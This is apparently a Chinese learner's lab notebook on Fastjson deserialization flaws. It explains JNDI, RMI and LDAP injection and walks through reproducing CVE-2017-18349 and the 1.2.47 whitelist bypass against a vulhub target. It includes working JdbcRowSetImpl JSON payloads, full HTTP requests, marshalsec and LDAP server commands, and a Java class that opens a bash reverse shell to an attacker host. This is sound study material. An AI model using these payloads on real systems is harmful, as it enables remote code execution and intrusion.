基础知识
fastjson的使用
Fastjson 是一个Java 库,可以将Java 对象转换为JSON 格式,当然它也可以将JSON 字符串转换为Java 对象
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
package fastjson;
public class User {
private String name;
public User(){
System.out.println("init...");
}
public String getName(){
System.out.println("getName...");
return name;
}
public void setName(String name){
System.out.println("setName...");
this.name = name;
}
@Override
public String toString() {
System.out.println("toString...");
return "User{" +
"name='" + name + '\'' +
'}';
}
}
JSON.toJSONString()序列化对象
package fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class TestFastjson {
public static void main(String[] args) {
User user = new User();
user.setName("lili");
System.out.println("============================No WriteClassName=============================");
System.out.println(JSON.toJSONString(user));
System.out.println("=============================WriteClassName===============================");
System.out.println(JSON.toJSONString(user, SerializerFeature.WriteClassName));
}
}
JSON.parse():反序列化字符串,返回 fastjson.JSONObject
JSON.parseObject():反序列化字符串,返回Object
package fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class TestFastjson {
public static void main(String[] args) {
String ser = "{\"name\":\"lisi\"}";
DeSer(ser);
System.out.println("================================带@type的===================================================================");
String ser1 = "{\"@type\":\"fastjson.User\",\"name\":\"lisi\"}";
DeSer(ser1);
}
public static void DeSer(String ser){
System.out.println(JSON.parse(ser).getClass().getName());
System.out.println("====================================================");
System.out.println(JSON.parseObject(ser).getClass().getName());
System.out.println("=======================使用User.class=============================");
System.out.println(JSON.parseObject(ser, User.class).getClass().getName());
}
}
可以看到,在不加@type的时候不能正确的反序列化,因为不知道是那个类的。
后面JSON.parseObject(ser, User.class)加上类算是正常反序列化了;
而加上@type的字符串就算不加User.class也可以正常反序列化。
也能看出这里反序列化均调用了 setter,那么在 setter 做点手脚会不会有惊喜?
反序列化详细跟踪流程可知:反序列化会自动调用setter和getter,如果这两个方法里面存在恶意的代码那么也会被执行。
B站 jndi扩展
Java Naming and Directory Interface
可以理解为JNDI在J2EE中是一台交换机,将组件、资源、服务取了名字,再通过名字来查找
JNDI底层支持RMI远程对象,JNDI接口可以访问和调用RMI注册过的服务。
JNDI根据名字动态加载数据,支持的服务有DNS、LDAP、CORBA、RMI
B站 jndi注入
在JNDI服务中,RMI服务端
除了直接绑定远程对象,还可以通过References类绑定一个外部的远程对象(当前名称目录系统之外的对象)。
绑定Reference后,
服务端先利用Referenceable.getReference()方法获取绑定对象的引用,并且在目录中保存。
当客户端
使用lookup()方法查找该远程对象时,会返回ReferenceWrapper类的代理文件,接着调用getReference()获取Reference类,获取到相应的object factory,最终通过factory类将reference转换为具体的对象实例。
从ReferenceWrapper源码中也可以发现该类继承自UnicastRmoteObject,实现对Reference进行包裹,使得Reference类能够通过RMI服务进行远程访问
上面介绍了整个加载过程,则攻击利用流程如下:
- 目标代码中调用了InitialContext.lookup(URI),且URI为用户可控
2.攻击者控制URI参数为恶意的RMI服务地址
,如:rmi://hacker_rmi_server//name
3.攻击者RMI服务器
向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类
4. 目标在进行lookup()操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例
5. 攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到RCE的效果
B站 rmi原理
Remote Method Invocation
是专为Java环境设计的远程方法调用
机制,
远程服务
器提供API,
客户端
根据API提供相应参数即可调用远程方法。
由此可见,使用RMI时会涉及到参数传递和结果返回,参数为对象时,要求对象可以被序列化。
LDAP
Lightweight Directory Access Protocol
是轻量级目录访问协议,用于访问目录服务,基于X.500目录访问协议
目录是一个为查询
、浏览和搜索而优化的专业分布式数据库,它呈树状结构组织数据
深入理解JNDI注入与Java反序列化漏洞利用: https://security.tencent.com/index.php/blog/msg/131
JdbcRowSetImpl利用链
jdk版本:≤ 6u141、7u131、8u121
使用高版本需加入jvm参数:-Dcom.sun.jndi.rmi.object.trustURLCodebase=true,因为8u121版本后默认关闭了com.sun.jndi.rmi.object.trustURLCodebase
poc:
String ser = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/Evil\", \"autoCommit\":true}";
TemplatesImpl利用链
Fastjson1.2.24 反序列化漏洞RCE(CVE-2017-18349)漏洞复现
开始按照这个文章操作 ↓
https://cloud.tencent.com/developer/article/1853055
靶场:192.168.33.130
攻击机:192.168.33.129
https://vulhub.org/#/environments/fastjson/1.2.24-rce/
查看靶场容器java版本
在攻击机 下载对应版本 jdk
cd /opt
curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
tar zxvf jdk-8u20-linux-x64.tar.gz
rm -rf /usr/bin/java*
ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
javac -version
java -version
分析:靶场环境为Java 8u102,没有com.sun.jndi.rmi.object.trustURLCodebase的限制,可以使用com.sun.rowset.JdbcRowSetImpl利用链结合JNDI注入执行远程命令
- 编译恶意类代码
创建文件名为TouchFile.java的文件
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/test"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
使用javac编译
javac TouchFile.java
2. 下载marshalsec工具
marshalsec工具用于开启RMI服务器
下载地址:
https://github.com/mbechler/marshalsec
git clone https://github.com/mbechler/marshalsec.git
- 安装maven
apt-get install maven
操作一通,最终没能在kali中成功安装上maven
还是在ubuntu操作吧
- 使用maven编译marshalsec成jar包
mvn clean package -DskipTests
编译失败了
还是用windows的maven吧,希望可以成功
有了
把生成的marshalsec真个文件夹给复制到攻击机kali上去
5. 在攻击机 搭建启动RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.33.129/#TouchFile" 9999
6. BurpSuite抓包改包
POST / HTTP/1.1
Host: 192.168.33.130:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: smile=1D1; hFyU_2132_ulastactivity=d258xq6rCRc3eY20NrjSAJewCIdQcKoRVjGF1P%2BGLHLUEZ0N2%2B%2Bv; hFyU_2132_nofavfid=1
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 132
Content-Type: application/json
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.33.129:9999/TouchFile",
"autoCommit":true
}
}
注意标红的内容需要修改,如果没有修改的话,还是会返回Bob
查看攻击机这里,发现 已经发送了TouchFile文件
前往靶场容器内,查看在tmp创建test文件的命令是否执行成功。
俺好像没有成功。。。。。。。。
Linux反弹shell
将上面的java代码中的执行命令改为反弹shell的命令,其余步骤相似
import java.lang.Runtime;
import java.lang.Process;
public class evilclass{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.33.129/9001 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
进行javac编译,Burpsuite抓包改包发包
发了好几遍,也监听不到
Fastjson1.2.47 反序列化漏洞(CNVD‐2019‐22238)
fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
Fastjson1.2.24后增加了反序列化白名单,Fastjson中autotype功能允许用户通过@type指定反序列化的类型,
在Fastjson1.2.48版本前攻击者可以通过构造特殊的json字符串进行绕过该白名单,进而造成远程命令执行,该漏洞且无需开启autotype即可利用成功。
执行如下命令启动一个spring web
项目,其中使用fastjson作为默认json解析器:
docker-compose up -d
环境启动后,访问 http://192.168.33.130:8090/ 即可看到一个json对象被返回,我们将content-type修改为application/json后可向其POST新的JSON对象,后端会利用fastjson进行解析。
上一个漏洞复现中使用了 marshalsec-0.0.3-SNAPSHOT-all.jar 工具搭建 RMI / LDAP 服务,本次复现中使用另一个工具 fastjson_tool.jar
下载地址:https://github.com/wyzxxz/fastjson_rce_tool
1. 启动LDAP服务器
使用如下命令,8888端口为LDAP服务端口,后面的命令为反弹shell命令,直接使用该工具提示的payload
。
java -cp fastjson_tool.jar fastjson.HLDAPServer 192.168.33.129 8888 "bash=/bin/bash -i >& /dev/tcp/192.168.33.129/9001 0>&1"
2. 访问网站,burpsuite抓包修改
POST / HTTP/1.1
Host: 192.168.33.130:8090
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 190
{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.33.129:8888/Object","autoCommit":true}}
3. 监听反弹shell
nc -lvp 9001
发包 ~~~~
监听到了 嘿嘿
fastjson攻防详解
B站 fastjson攻防讲解视频
复制运行结果到代码中,以便进行反序列化操作,会自动带转义字符 \。
反序列化的过程 一大串的断点分析 晕晕晕 ~
B站 fastjson 下
编译 ↑
然后命令行执行python文件,获得加密后的poc
一堆断点分析 …
从rmi到rpc到dubbo
B站
所有的网络通信都是基于socket协议,跨语言通信
soap协议实现跨平台,跨语言通信
webservice缺点:传输了很多和业务无关的数据
新生出很多数据传输方式
dubbo
spring cloud